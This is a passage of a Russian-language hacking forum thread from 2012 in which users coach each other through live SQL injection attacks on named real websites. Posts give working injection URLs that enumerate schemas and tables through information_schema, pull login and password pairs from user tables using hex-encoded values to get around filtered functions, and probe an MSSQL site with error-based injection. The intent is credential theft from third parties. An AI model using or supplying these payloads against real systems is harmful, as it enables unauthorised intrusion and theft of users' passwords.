Старый 10.03.2012, 21:07   #1801
Consistent
 
Регистрация: 06.12.2010
Сообщений: 26
Репутация: 0
По умолчанию

durito
Ereeee
Ребят, огромное спасибо.
З.Ы. durito, ты в аське так и не появился.
Consistent вне форума   Ответить с цитированием
Старый 10.03.2012, 22:20   #1802
FliP
 
Регистрация: 09.08.2010
Сообщений: 19
Репутация: -1
По умолчанию

нужен совет,фильтруется concat,group_concat и все скобки
как ещё можно вывести инфу,чтобы соответствовала логин:пасс?
Код:
http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+select+table_name%20from%20information_schema.tables--+f
просто если через лимит выводить,то логин:пасс не схожи
__________________
/home/jbdr/data/www/stopxaker.ru/includes/init.php
FliP вне форума   Ответить с цитированием
Старый 11.03.2012, 09:43   #1803
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

огромное спасибо Ereeee. он предложил использовать curl. ему видимо пофиг на HTTP/1.1 500 Internal Server Error
durito вне форума   Ответить с цитированием
Старый 11.03.2012, 09:52   #1804
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

FliP

http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+sele ct+login%20from%20user+limit+1,1--+f

узнаем логин, к примеру vasia, хексим его - 0x7661736961

http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+sele ct+pass%20from%20user+where+login=0x7661736961--+f

соответственно выведет пасс к логину vasia
durito вне форума   Ответить с цитированием
Старый 11.03.2012, 11:09   #1805
FliP
 
Регистрация: 09.08.2010
Сообщений: 19
Репутация: -1
По умолчанию

что то не выходит
http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+sele ct+user_password+from+fifa+where+user_name=0x45616 76c65--+f
__________________
/home/jbdr/data/www/stopxaker.ru/includes/init.php
FliP вне форума   Ответить с цитированием
Старый 11.03.2012, 12:20   #1806
Pashka
 
Регистрация: 09.03.2012
Сообщений: 9
Репутация: -5
По умолчанию

Подскажите движок для тренировки с php-инклудом?
Pashka вне форума   Ответить с цитированием
Старый 11.03.2012, 12:43   #1807
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

вот еще одна мозготрахательная скуль:

http://www.matrisearch.com/basicsearch.asp?page=1220&sex=@@version&startage=0 &endage=99

Цитата:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the varchar value 'Mi' to data type bit.

/basicsearch.asp, line 144
выводит только первые 2 символа, но это не проблема

вот уже дальше проблемы:

http://www.matrisearch.com/basicsearch.asp?page=1220&sex=%28SELECT%20@@versio n%29--&startage=0&endage=99

Цитата:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near '('.

/basicsearch.asp, line 144
куды копать? пробовал поиграться с скобками, но что-то в пустую
durito вне форума   Ответить с цитированием
Старый 11.03.2012, 12:53   #1808
FliP
 
Регистрация: 09.08.2010
Сообщений: 19
Репутация: -1
По умолчанию

Цитата:
Сообщение от FliP Посмотреть сообщение
что то не выходит
http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+sele ct+user_password+from+fifa+where+user_name=0x45616 76c65--+f
можно ещё как нить придумать?
__________________
/home/jbdr/data/www/stopxaker.ru/includes/init.php
FliP вне форума   Ответить с цитированием
Старый 11.03.2012, 13:01   #1809
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

FliP

Table 'eafangames.fifa' doesn't exist у тебя таблица fifa в другой базе находиться.

ищи свою базу

http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+sele ct+SCHEMA_NAME%20FROM%20information_schema.SCHEMAT A--+f#inscore_ifheight_xdc_2126

http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+sele ct+table_schema+from+information_schema.tables+whe re+table_name=0x66696661--+f#inscore_ifheight_xdc_2126
durito вне форума   Ответить с цитированием
Старый 11.03.2012, 13:12   #1810
FliP
 
Регистрация: 09.08.2010
Сообщений: 19
Репутация: -1
По умолчанию

нашёл свою,но такая же ситуация
http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76%27%29+union+sele ct+table_schema+from+information_schema.tables+whe re+table_name=0x656166616e67616d6573--+f
__________________
/home/jbdr/data/www/stopxaker.ru/includes/init.php
FliP вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot